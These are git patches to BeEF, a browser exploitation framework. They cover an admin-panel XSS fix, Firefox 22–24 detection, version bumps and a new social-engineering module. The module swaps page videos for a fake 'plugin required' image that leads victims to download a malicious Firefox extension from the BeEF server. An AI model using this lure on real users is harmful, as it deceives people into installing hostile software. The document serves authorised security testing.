From f869d2924aea48b336e84b7887c915f59b9a1844 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 1 Jul 2013 15:24:36 +0100 Subject: [PATCH 1/7] Fixed an XSS discovered by Mario in the default keylogger. --- extensions/admin_ui/media/javascript/ui/panel/DataGrid.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/extensions/admin_ui/media/javascript/ui/panel/DataGrid.js b/extensions/admin_ui/media/javascript/ui/panel/DataGrid.js index 2a8caae48..722c2638d 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/DataGrid.js +++ b/extensions/admin_ui/media/javascript/ui/panel/DataGrid.js @@ -45,7 +45,7 @@ DataGrid = function(url, page, base) { dataIndex: 'type', sortable: true, width: 60, - renderer: function(value, metaData, record, rowIndex, colIndex, store) { + renderer: function(value) { return "" + $jEncoder.encoder.encodeForHTML(value) + ""; } }, { @@ -54,7 +54,9 @@ DataGrid = function(url, page, base) { dataIndex: 'event', sortable:true, width: 420, - renderer: $jEncoder.encoder.encodeForHTML(this.formatTitle) + renderer: function(value){ + return $jEncoder.encoder.encodeForHTML(value); + } }, { id: 'log-date', header: "Date", From 7f1473ccbf63321ef8851bea9a7fb59b2176a9e0 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 1 Jul 2013 17:32:00 +0100 Subject: [PATCH 2/7] Added detection for Firefox 22 (and improved detection of FF 21/22 with a new DOM object). --- core/main/client/browser.js | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 5b427ffb3..912c2783c 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -257,7 +257,15 @@ beef.browser = { * @example: beef.browser.isFF21() */ isFF21:function () { - return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/21\./) != null; + return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null; + }, + + /** + * Returns true if FF22 + * @example: beef.browser.isFF21() + */ + isFF22:function () { + return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null; }, /** @@ -265,7 +273,7 @@ beef.browser = { * @example: beef.browser.isFF() */ isFF:function () { - return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21(); + return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22(); }, /** @@ -695,6 +703,7 @@ beef.browser = { FF19:this.isFF19(), // Firefox 19 FF20:this.isFF20(), // Firefox 20 FF21:this.isFF21(), // Firefox 21 + FF22:this.isFF22(), // Firefox 22 FF:this.isFF(), // Firefox any version IE6:this.isIE6(), // Internet Explorer 6 @@ -949,8 +958,10 @@ beef.browser = { if (this.isFF21()) { return '21' } - ; // Firefox 21 - + ; // Firefox 22 + if (this.isFF22()) { + return '22' + }; if (this.isIE6()) { return '6' } From 3705009982a91e03985fb9778133ff8960550cf2 Mon Sep 17 00:00:00 2001 From: BWZ Date: Tue, 2 Jul 2013 18:19:34 +1000 Subject: [PATCH 3/7] LiveCD - updade bundles during beef update Fixes #918 --- liveCD/BeEFLive.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/liveCD/BeEFLive.sh b/liveCD/BeEFLive.sh index 49171de03..ef4bb368d 100644 --- a/liveCD/BeEFLive.sh +++ b/liveCD/BeEFLive.sh @@ -189,6 +189,8 @@ show_menu() { git stash git pull msf="0" + # check for new bundle requirements and update + bundle update fi # From af6cf9e5d4be3803157a790017c4fe21c96cd78d Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 4 Jul 2013 07:39:23 +0930 Subject: [PATCH 4/7] Add Firefox 23 and 24 support for Firefox aurora/beta users Firefox 23 ETA August 2013 Firefox 24 ETA September 2013 --- core/main/client/browser.js | 36 ++++++++++++++++++++++++++++++++---- 1 file changed, 32 insertions(+), 4 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 912c2783c..7e100f0d5 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -262,18 +262,34 @@ beef.browser = { /** * Returns true if FF22 - * @example: beef.browser.isFF21() + * @example: beef.browser.isFF22() */ isFF22:function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null; }, + /** + * Returns true if FF23 + * @example: beef.browser.isFF23() + */ + isFF23:function () { + return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null; + }, + + /** + * Returns true if FF24 + * @example: beef.browser.isFF24() + */ + isFF24:function () { + return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null; + }, + /** * Returns true if FF. * @example: beef.browser.isFF() */ isFF:function () { - return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22(); + return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24(); }, /** @@ -704,6 +720,8 @@ beef.browser = { FF20:this.isFF20(), // Firefox 20 FF21:this.isFF21(), // Firefox 21 FF22:this.isFF22(), // Firefox 22 + FF22:this.isFF23(), // Firefox 23 + FF22:this.isFF24(), // Firefox 24 FF:this.isFF(), // Firefox any version IE6:this.isIE6(), // Internet Explorer 6 @@ -958,10 +976,20 @@ beef.browser = { if (this.isFF21()) { return '21' } - ; // Firefox 22 + ; // Firefox 21 if (this.isFF22()) { return '22' - }; + } + ; // Firefox 22 + if (this.isFF23()) { + return '23' + } + ; // Firefox 23 + if (this.isFF24()) { + return '24' + } + ; // Firefox 24 + if (this.isIE6()) { return '6' } From 4fe51dcd2880b1bd06a7f490fc3aa30bac1621c2 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 4 Jul 2013 08:17:17 +0930 Subject: [PATCH 5/7] Update version to '0.4.4.6.1-alpha' bug fix edition --- VERSION | 2 +- config.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/VERSION b/VERSION index 11ac0da8e..a22443b34 100644 --- a/VERSION +++ b/VERSION @@ -4,4 +4,4 @@ # See the file 'doc/COPYING' for copying permission # -0.4.4.7-alpha +0.4.4.6.1-alpha diff --git a/config.yaml b/config.yaml index a70f427f2..716b94acb 100644 --- a/config.yaml +++ b/config.yaml @@ -6,7 +6,7 @@ # BeEF Configuration file beef: - version: '0.4.4.7-alpha' + version: '0.4.4.6.1-alpha' debug: false restrictions: From 9daacd799ef0084fded21b06c0fac66ade8c3c1c Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 4 Jul 2013 08:20:05 +0930 Subject: [PATCH 6/7] Update version to beef-0.4.4.7 --- VERSION | 2 +- config.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/VERSION b/VERSION index a22443b34..11ac0da8e 100644 --- a/VERSION +++ b/VERSION @@ -4,4 +4,4 @@ # See the file 'doc/COPYING' for copying permission # -0.4.4.6.1-alpha +0.4.4.7-alpha diff --git a/config.yaml b/config.yaml index 716b94acb..a70f427f2 100644 --- a/config.yaml +++ b/config.yaml @@ -6,7 +6,7 @@ # BeEF Configuration file beef: - version: '0.4.4.6.1-alpha' + version: '0.4.4.7-alpha' debug: false restrictions: From 1bddb00ec8b819d37300e84f386b358fa198285a Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 4 Jul 2013 11:54:52 +0930 Subject: [PATCH 7/7] Add Replace Video (Fake Plugin) module Fix issue #695 --- .../replace_video_fake_plugin/command.js | 14 ++++++++++ .../replace_video_fake_plugin/config.yaml | 15 +++++++++++ .../replace_video_fake_plugin/module.rb | 24 ++++++++++++++++++ .../plugins-required.png | Bin 0 -> 11310 bytes 4 files changed, 53 insertions(+) create mode 100644 modules/social_engineering/replace_video_fake_plugin/command.js create mode 100644 modules/social_engineering/replace_video_fake_plugin/config.yaml create mode 100644 modules/social_engineering/replace_video_fake_plugin/module.rb create mode 100644 modules/social_engineering/replace_video_fake_plugin/plugins-required.png diff --git a/modules/social_engineering/replace_video_fake_plugin/command.js b/modules/social_engineering/replace_video_fake_plugin/command.js new file mode 100644 index 000000000..9a0fc469b --- /dev/null +++ b/modules/social_engineering/replace_video_fake_plugin/command.js @@ -0,0 +1,14 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + $j('<%= @jquery_selector %>').each(function(){ + var width = $j(this).css('width'); + var height = $j(this).css('height'); + $j(this).replaceWith(''); + }); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace video successful"); +}); diff --git a/modules/social_engineering/replace_video_fake_plugin/config.yaml b/modules/social_engineering/replace_video_fake_plugin/config.yaml new file mode 100644 index 000000000..d085c1a62 --- /dev/null +++ b/modules/social_engineering/replace_video_fake_plugin/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + replace_video_fake_plugin: + enable: true + category: ["Social Engineering"] + name: "Replace Videos (Fake Plugin)" + description: "Replaces an object selected with jQuery (all embed tags by default) with an image advising the user to install a missing plugin. If the user clicks the image they will be prompted to download a malicious Firefox extension (by default)." + authors: ["Yori Kvitchko", "antisnatchor", "bcoles"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/replace_video_fake_plugin/module.rb b/modules/social_engineering/replace_video_fake_plugin/module.rb new file mode 100644 index 000000000..bae133509 --- /dev/null +++ b/modules/social_engineering/replace_video_fake_plugin/module.rb @@ -0,0 +1,24 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Replace_video_fake_plugin < BeEF::Core::Command + + def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + url = 'http://' + beef_host + ':' + @configuration.get("beef.http.port") + return [ + {'name' => 'url', 'ui_label' => 'Plugin URL', 'value' => url+'/api/ipec/ff_extension', 'width'=>'150px'}, + {'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px'} + ] + end + + def post_execute + content = {} + content['Result'] = @datastore['result'] + save content + end + +end diff --git a/modules/social_engineering/replace_video_fake_plugin/plugins-required.png b/modules/social_engineering/replace_video_fake_plugin/plugins-required.png new file mode 100644 index 0000000000000000000000000000000000000000..7b0885492390c340b12849465c84b9e217208ccf GIT binary patch literal 11310 zcmXAPbzD>5|Nk~N7)%-g$Nnx>HJ}1(Db$2uOFQlyoT#13^lV4h1Pe zO6idN?eqQpaqm6n@wjpBIj`4wJ)f`FGg4Pujhu{$3;+O-qt#XP0RW&Wp&bha5zcfA zyETLh&|6_tMdas zqy8Zf;cjmjJOK+)-)7+~ssr$`$iCb?-kOY)I~5!XFcaq@XF&OAz`2R zJ;C=*IJ4!SeZ-U9Qu9!n-!!F_K9$51=SEr@?U#Ss_Bzh25P#HNZDqtbxoZI^kJaAD zaJGQWKkgxyJZTn(yH1Li)~##S5Bf{Avi^HQqW#sf;o{%9vP-0)pKp27W=CxQ^;nvMUC%LtI-vVYDUjAKZ zd42X*{`KkZVjIJ)Z}=7MZO1YWHhM;Jo7Zjpf=*$n$=y0o>-J)>D@V7*;P9e_bWB++ z30LV)al?llFDFB0E%)MLJ9*xadb|y@$Ts;{y61e>g3v1HR zw?`k`e;FxWV9Q&AMa4Lc7Vo^#j7+e7&VBeG@84s@wy|~4$s0-qs0wu11_%qK4!k+a zBME&rUk^!>_E^SuzabInJYNmbWVIm|DWu3wZ_nR&Xtr6LW<_|P95J81S!aY%(o90C zbZ2a%%J;ZzT2Fc>!|#y~)#>ie%*+7p!KKw=Szev5gcH3K?FV7Nov)X%B&T~zajgJ; z02H%G$%;H)W#~Gu?<2}%Q3yQenZnYp!H8#dZoCDQZ6!5^(@+rQk(5|Rx5@4YCG35B z7IVv$96q5JUZxlj4U6Gt-&xD>r)4_i8zumKOlMDw)XxY{Msm7@=ErQ!$Lnd^zaf{JMS+q(1b zTgXiqgH^=4Vm#Dt&4__MO2iwz3e(cYa~jw$6zL*`wipX}Tzww%(xh=4qC`{@9`ytI z$i|j+Fq2|0?Ibl81D#oiZ5VU_!D=gUYx*m+mAm$!3 za0;NMQhCw529JT1v11_ow23)5*NoZARSQcri02x>#13r+kl{y-3*Mdi0PZp>y#l>t zt-$W+;PqG0|Fk?zwAJLPzzy{nR?8ckx_&ErQWzeVdzAf~I|~wEc>T{baGngTaJLbl zBx&-xbR@f%1C!5UZjm?^+_;ZGqNQ0|cH_}zR|6kNS+Njj_RjqL~~J1gYH=b#Gob&Y|5XOr_i zZX$ZqGyUD+Q1guyh=2CYW`{&P>{Dw41M8bFhOZI|cr^A6qE7t*LSi4(eL)g>#!uC} zK#j43CGIlsewnlHX4auTxb6Z1JZD64*1KUJ3*q@X3dS=IwuhzSh>msO>GhiO{VbBz_L$UP0>Azc~5=>NxahXkBD z?d9-P?Y{GP0&FUq-OvPn30)ZZ&*yEW2;5mC+Uk?N^Jf}#J!0nJB$}`U6%!~?Ca!(* z#HeW`{j$~j-wJ0f&A^Q1x<-*S2zY3^zUIXPTYXPKhWgs=a}-{PgWv~P4AF5hpqmOg zQwKO>klTCpjfh@CW_oqlA};^?<|pVhH@eG`6#4cG7-Y{?RcQ}=C4}T1UUN7+r`?1> z%k=~w)b(ytq4NK*(wNvdfQL?GM9G92NjCxudgs{@ybC!thlBS3MFD@ z$g0&2Z$fMKySce6^I{agkl@Nay@{?S@Wut-!%E280%n%K0zsOQ#wBtPjlxJnT6*bE zYdQ&|gGTVpM`gs0Nw!5|FTB3CZc^VdW1^c#B$i#ru~4pE%^55~1YF1UzOhS=^q|hz zYV*^w8v(%Q7EDm*NG-7`O)=&FS=?c8yu^6Q&(cjmdBEGs)-o(I!TX_2MpQ%9}pc zi4{z}_~`V3#G-o7P01vv@wkUzBhs4g5AV(6VPwy|1!U0gcU`~Lvsg9Srs>CdR5U*7 z_aYJ*RM}lEuZRe`2GB3_G459%OC@!7LY6q&$E@3A20H=zf^SJ}2!JTjH&z>&hj?;xz=@Ltj|DMa@m?^|+uy zUenQ_>J$MxR&n`k!>Gq(fq zwqG$-c{(JJ9jj%##+*mX=fnX3!?q=r$C67P_Ul)RK%mZAS#sYs^ISeUnW~$8kK-ch z9#{oK!TdYz@J^EX^rQuGJ36!f4qU$_n&=z7P94-P2%}av+lcjA9kbyJrbD2*P{Xhp z%N90W4f#8!64O)P&>^&>ThLsK+HxCFJPj&X@zMN3J(aJmJQ{LMxdv>EZHYC!dL?3H zIMG@Jab{)BZ<>at_vS}=j~?%6@>?>^Ve=!c%<$SoNFuCdQY_U^#NT>Ke}$LYOKl}gG!P@DNNUK_g<%_GH#kUnrlmt zfDIwuw6)yowa$`L(CkFuo99BIsW^qkv0FZLq0XJ9MV~8!BW?x*dN|_~H8Ukxe!uFI z6N82j}Ez$!!6-d0?bKmwi@!?DlnU>JgoeMnMofMa}42AH{|j#L6MA| z-zWW}X{Khj8el7*s{hh~Rfg|$?z8(M&mR~Rq)}K-4Mi;Px*^D=TOXOsjBf~*@s&#O zQX$-uaKt{NkrKy^#I7D(M1M3m=tApNngxAXid1!nPG4)y!F5=@?CT+xvS@ z-o;@~P+ zx3;w$3H|a_`W*wup0Sw7lFZ@ir8!DnrXm-F9l_QMtbH->I@KJD!0 z^;GkHp%U_TfG~@E!12_FCrh_CXCVhs)>m6PAs0t^w^yIpZ}ubka{bTRmSWDVBD%L| zYPM?@0G!N1+KmV^3kY|{_^{$>U0l!#%(|HX=hHJj(diew4G<`*63J;>CYq zl|S6Ou196}+V?syW7!o6K==0Qf2@IsQV!7Wf0VTp9i`5ycQ=zIzRjh))!BRX7)|pS z4+U!lSv#hrHDIjz;ni@4S-IP*BOr-G41VwvqhH5@uat_5uH~a)H0N{B)UC-kzrCN= z1(ZRX)op)4^fv4L`nMI<*JLnIu+imn_t(swkJbS0eGrzw(}uij0`P?*{I3rBLoO!s z2=m%?wIS8@YNx8n>h+(GjBj~CCT}fT1Rhni{zBEF-zlcY^N;DgVeN-HD zZ{+Cd7?ptEV@8x)ynMHy7q3DcVI#^~2ID|F5iSkK3M3g-zA2`KV_NZIJkGBBcF4H% zaQO{ouH37`*Grc_A5zMP=1m9Bw*3rqFLr~DpM&EMKGp>N8CPRZ$z1*UdJlqXUl(#$ z5&%B2NyjVsf?lB7`CT3lIjR>(KyloW3i20v=!4^@$7}JAln~ zjXr-&RF+xOxMO%Edau_9;9?^zp!Z?zXUA*BlMg!A*Lxvqe#*E_cewsRGQ+aF6e zr(KKKz1ucfT*5iu+d*UZz%^ziL<%i5b*TJROtuUuc$(jr{?oahaN;nCkCQQ9%Kk2t zY(JAu!w#6ky(X36>^Bh|m1-g!Lgw+RKV#c{+{&F1+U!8YPTu83a6 z{sbb!%9w(0FPDg<0p#a`Y;jS``tAXfSpcyi89E<{Q>8>&XD>Spbt8K?@iA(Wm(?EQ zVQgQUkN%|d*%_Yy8axDu3IAtf?3k$VWfEA_QZO(Y@X38C_Ai`<5gn@qO#4}{1mMJU z!Y?3W&=HUU*_>7&;cK^3PjrA>EG#y)EX`11Ujh}_n{QCFcO5~x*vk7P9?u~R=w-vQ zr%WbdB9rPgJ_e3=Rz5{IgFuRC1Zu1(m-f5EB*xQ|CLDnCdM3FQk$3|U@yFV96P!`@ z*C&=9>it34p9itt-{cwmIpm9ABJEV@*e09zA{b)eIY_m&VL#jk=o)%7DqDk0D&~s} z1~syuaN-gSckY@{GE{gT6_djVzZX-nMSW~u=Z&<;pnFJ*uLmNd zy!E$?kh&0AI{`t&T&wT>)70{M?{f!RaA#1(`EO$Wstg4AF>6|<#v2P}f!xTt1YQ$N zvMOlpKcIso#jgjg7-#;~`wI!tt;+;*-MW$KhJha1n?k8Epqt2YpdV*`GG4$-SQuAd z_zsf!qwLWJfyh}+&5BvT-Whz|mHdMje? zp$lIuiJhqiEFadNYwA!-(b>cS42cFnf{?&4kM10383hI;&B_2Q<+s7=zxQV>wNGiK z->^ThugF}_M(hY9z2@~)P43bUxL3F`Eq3ZTuhFy-)31?Hd3<4gqE;s)M9tSz3#5l< z)YW$F1?~O#=$0l|idj@z2#V;0zmWP8Qg^dv_1?JaVw#^uPbt44B8vh@TfY`@yLy9T zp$7*~nft@x{9}*5mup=k>?74`OoZe089c2yW*GkB>BXf0t*C_ zc9vK*&yJ147%e~j)vTI7E3Dmr(gP*lrgjE3yUr0KbcJVkgwe-4hSrs(hJ^_y(wo$X z^Iv?5kq~xD_!Xhi9g=WLh(6(UPXJbMll}eAlw9A|U3jKo{=}q~M6c$7L!p;@UF_4{ zalyx2eizI?_unqxfV7-XO;*QIwXt?7GkS3flyeL2uHr-A4C>R)E63n;a} zv%h*$6Ved}nWoR73>z*U@o}lO!fR84zyGwo%G!}JANyjM7;7Rdlt64|##v>bvbatR zra92D>F!s&@kH#-AyB++Yugnys&Q2JiHvU4*j|AtML7S|c>2dAfSk~71Y86FaYjf2jVSjUHh)PjaT@c%R|K87Fs(V-PlL)Fb*q1w z@9QHsYH3tUc)SoC&qv{ztq{a?UoKar_XQ^z&_ThAc@fx1>UasL;!LK5Lz*dapY^Xr zOGEfEM0?Uo!vHBRDE+Sh@N{Oxj2`WOgQnw{>SRXBHJ|A2YS+iD-3~n<#VF^s*sEHN z$!aAVzo=L(VT1pIVJj)^_rOPLZ`X`C;{)5%p&5v9x!UM=fFb}t=K9gAodUUKgcQ?? zdom5sEBG zLCVY0k{#-EW?GYXu~nTuYio^k%w+V-cX`WB<5*?iK7L8^(=>FN?GhsLdVV;bMgIx%cgWSG+@y(+O7!v3Vg3bCd{$9`_(WTuvD0LVYV@ONC^HU|1nM`S~>!iy4 zU(LtQOLH1viDh42_J0Fv9#P|NR!2;TbN8Sf^8*BJCxmR7?%Dlw5(T9yAOdx#Pjz_O zG`7(jnVM8|hwP=|wo>T_cZT%Be8MItL9WDOavKEp3sGvfF^k@DD;^)STiC8vvIPZg zm06oON3P3JBk&ZQ5%Lpk#aI@7Ud)x|3cO0`nbHh^`^=5i`n} zlXboykDdC^D!-bo;uJK5>I9LzjxM|?F2t{y5U2SA9Q?IVG`!T%)LdJK9a=tf$ES!W z;$^92zlGVm2G1^l)vI@f`1>^opNOq1>U;tT5EF z&ifiR?AowC1V&%x3JxJ|^vuG2naz7pU2mE$@gfc>C>D`gw)F;2S4O(xzTg=u3k4oD zx3N%WEz20l>`PJnTVOpbU|zeyi(06BV*bVYPQw-dPcP(pWv)VBiHmBp7|a#(wr|VK zYFRBSjM}5zEHN}*+NYtmUo|t{BqnxM@>f-R3hD)q3NI}opux{r2PiA}f7?VGk9=oL z$HiusqhDKRSJ2p}d*?Bd!z`I<@rGKBp0L-uj`uwRS{uB4I$Q(HggYX}KUHlfGUK<@ z??<>qe|Vo$9cOP6C4X7SQ67wyE9GyuVHE>KdaVac+lLLJCB&)ix_9rt%^Y$eB;9rp zQnZ(`U(*L=N)RO1Slv8^vI_`3d`z}JjSWkLOIV)>X5~Zgek#7pl0h9&veuAmR6zgw z)6ftQOXYM|gb>_DD^pW4Qq_sDVftng9|1r$JDDF7ST_fGdl0gU3#(v1BnZI9LHv0? z_QG_z2Hc;~0(+^SGVNc<({Q3Uvx}yScqVLBG>d$>d%ox|-SZ5GG9xWq_{@C13T*l- zk-}<=Lp#N=kO>4gDks*sH@<7Bpr%mGIjr|({`9f^faNDwCrv;O={KWwoV0HCCs*zM za$A?$C#%|V2~TPZ$YAANExC<-=c(kF{B32$C`1*NV>I#SO~4S=@?-ey>qLWx^M&s% z+P8acC>mq4X}5SI9v+qBwLU1_!Gg)$9E0+{mLA=V*8*XmQZ%Z> z+)tv-$HFO0V{krZcDaVS!&;cJItzwm$&b=?@2bjw+TN#kK6jY7AfV*e+}Mch6d{yu znUbC7U)t~Q2Pg0&9PyjCNvU&FT>Cr|)rf{%7R)o zP19EY)ks?qDovUtxPHLZ@P8z9m9MqDTjk-iL~4V+f6dOeU>T)#QbNL^+yE9^n2k@2`|x zhg0g@NV|PL9T<Z}%Op>r^C|`GQ>BoCenJoEY`*uvD)`WK15@%Ak|H`3UgIcsj}rQHW3kz-N8o$x zXcjHiSuCV~z2QG0bu1**&;?!_U-_TrsH%PWpa zQ54;j_^i|UaN+NjdYF!Qk-93pF@q3uqL2T{jM<4>u&aD96Wtw%y;tDY3*xlcN~I?U z)AMF@D-F@^^*h9u~`|5#y&HCo5E`?9*0feV4NrNBrij>|ICnT(WOqx z2uzBrKEz=n)Qfxl8AlB}NM!n9U}!e)#SD@hT&wqK@R!#Yk~b}reH}TJvXrB@?>Hr^ zsd>A%`{FEygZTB$CV>NQl`KVx1?^{CSvGj^1?YtdjM4vw^ZxX) zA>Qa?vQ-EdFwp{bO!jzhAS~!HzDm~_ZgTFCUveYhMXX$9^|@?Vc#EhpA3Pc#3Q-`F zC`f=n$&}x$(_)G5M+}$B<4oU)_}9*e_z#Y{m|bWN$|YavFr-O09bcdoW*759FU=Ea zV;bj+pE@{D!{~M0-$8yqPU7Zfcq004n=>TfJfknHXXw4;gv<~E?uQft4; zb%kPgv|Cbm=_4Mt!NM&WE+i0!~(q|Gf!?HK-6?)Yd_JS6AQ#X?w#`6nlN+)G3{;15CwX5ulLDs1?atL@fr z=dHQ_q+}0hG8=)cme~JS-YE05*PcU$)uHlvhFDHMTZXt(2#|aZ)nwKhx_O7icbuNf zg^cBiafum+BO={&dKi!16UC~%h*IJ8z#p`zA^r5EGJ{fQf=eEN#fF*m{B_cGK2fR|c7eEbV@~cjRkFRdDm=inR z*#uM@G4QTKeFAE{i0^uPWZd848Er42aN`iYGNt6x<9e*;tGaqE(@g(tvsrhyGB9sz z%NQIiFKev;_UcVX6`MjBE6pv#oj$*9;5&2*375U+(?E47gn|bcV&MY|sP3l-(T|e? zM)`F$vt--HIj!CdPj{FcnJsADT3>3X&ixC&x%f}EKOEp^Xqs{D70|jYt+4#v#3@g{ zs@S{T<}k?b*_?vjqxc<}7B{cVRt}yC4cBq zpnn#S09#Za|LW^R$^Q2{Jm-WyW#X$+W+&Qx^t0>f$7Sr2_Tz;xF(RU_6=tcB->upr zQhRj0S(!IOvyBcDsQ6@k;;@CDg|`s!T`_Uo_8(`gP~fuSdv`IbXR-oRFTeNh(E0RL zZz){OIC4Kt5qy>><`N_;v@eju*P`*MT$-;=;NPOnU+uX# zB&6xM)rd1J_9Fha{+=GTANzn4GqAbETOmO1C7GB*eSTH=%*P(Ej>(q;uG#66zb~?N zdHnmd6@er^(s}wQZYNdT$iBfG7fzqK<|l~w|EXmV3^7j2_vWc>9hhpQ+1a^t5v?vq zB-NVw(dKlRhkzW6G&t{7@Z^%gew|U9^-ZGk*T3d!vOYFpRN|0;iK-M8o0JH=4RrX$ z?e+bHriO`%y;V)OSlOcaLc6m3-ks&Eh*uk%9=;$)Rznlrn~{^E6c_m{ac=sNR|et@ zu0z3+JkC%pfr^Z=J^ihwkH=RFc|^a}f?j)Vf(n>48Bvwy7BBf7Pa+}OA)^V?#r3Y% zX4SzVMK$YgaAzGe)P}`Jt2-nT`IBQ$*6Sb)-mg|mh9Hze$;7yF_BEh}=^grHr_b|K zBp_vT|0&@nNu1CJ{b@0o3?tSpbxVyO>$jv-{Ki}O*;Nh2XUQBzU{Hh`9;9XSk+_1n zro}&-Ej4~Ub;uWhY*-wEBwbKS^NYHJygy_`CFuaqwT&%g<$FPuRmxlX6&jWm4_0VG zhbbPbQi9D89vz=q=uD$`W>XEHoIV;izs%PbX06Xw;h7U!U{ve_Eo|?wj&l)1p6K{K z>&Ml{K0LP00xag?2V`Uv);Z?Xm_-JkltIC!A zW0~R@W~UmD1Ge^zt9uHGlmC1Io;j%rt)2lB1Y!;1|M0$k{XG~Y*4bsIlO*ro zG1QYZ+w$Az7xw*pAAO$Foji(TD_c&QhML!dB1>Ax(}|R2yOdEhET<@p5U^7d{PGgp zF)#V51cef;@>&2)SnB4;kr)5=e)47qcD&nR_{!!A-M6`!YWSS;ui@K~AJe?% ztZ0_R69KY=OIvN>8(aVhcPu3GfoOUsE<7k8=*yxUoM&-_Z4f&Xa_&7PV?Hbk1WB0As3b~LUEA#c*u zPrbc50|Lh;wK5eHSmU<@qVXdNFRk_?Z*`CuGI`t~7=bi;uv7!hR&r)dGM=o=Q;ozz zV`dsv{cBFeus&r`#@rcKuPLq0c zR^lwNRO3cMZ!9@7T_QUTD^hnMR!I?0=!KTNf{VQMH(aQ<-ON5#-T4GiLMR(@4ag6q zS-!kiRj%KJKkym&QcOs7i{m-6}!5 z4Z;F4Ty+i-HHBAdZ34e97%2-M3!GYn$h^rEj#hZF&SN$yaX3UCD(J28x=fxy`+QL)otP_o&6<5-4$0`(%omD^qGYXk)GvIvxpxiOG~dnhC2R(vdgO4CzZ z%riaE@@vGbEJ8kOY6#ZMeJ_GKd2#TcewQ1SrZrHhdt-WGn0)!l8Q2zlPs#9Lg%KN( zx?8biJw^a%&tI7JZgSu2lJKCZAUic=qSGknz-#Am4^{~XKWO1`_?694sFojDNO)*c z{bOlaKhA-m!tjN{p=29yr)GbxRAMGb%!zl(^2r=YBo_4{U#}ljc9*c;b%ttEz<=*W z3Oa`%tOU|F3cCHFP={(sKW6z*ckPn@lU3>W?=5 z;(D5rG_8A&DJYqiv06gC#8y!fM*|J0%u_2#9^R%lxId_L53Aow4K0uK+mgx}Y)k zf`>aj9Rh{2UP3_YU_^BOJIMnU53!iokVM6W)K7qd!OKh8c!H@{JP{h@1tAfu3hY#aAv~ 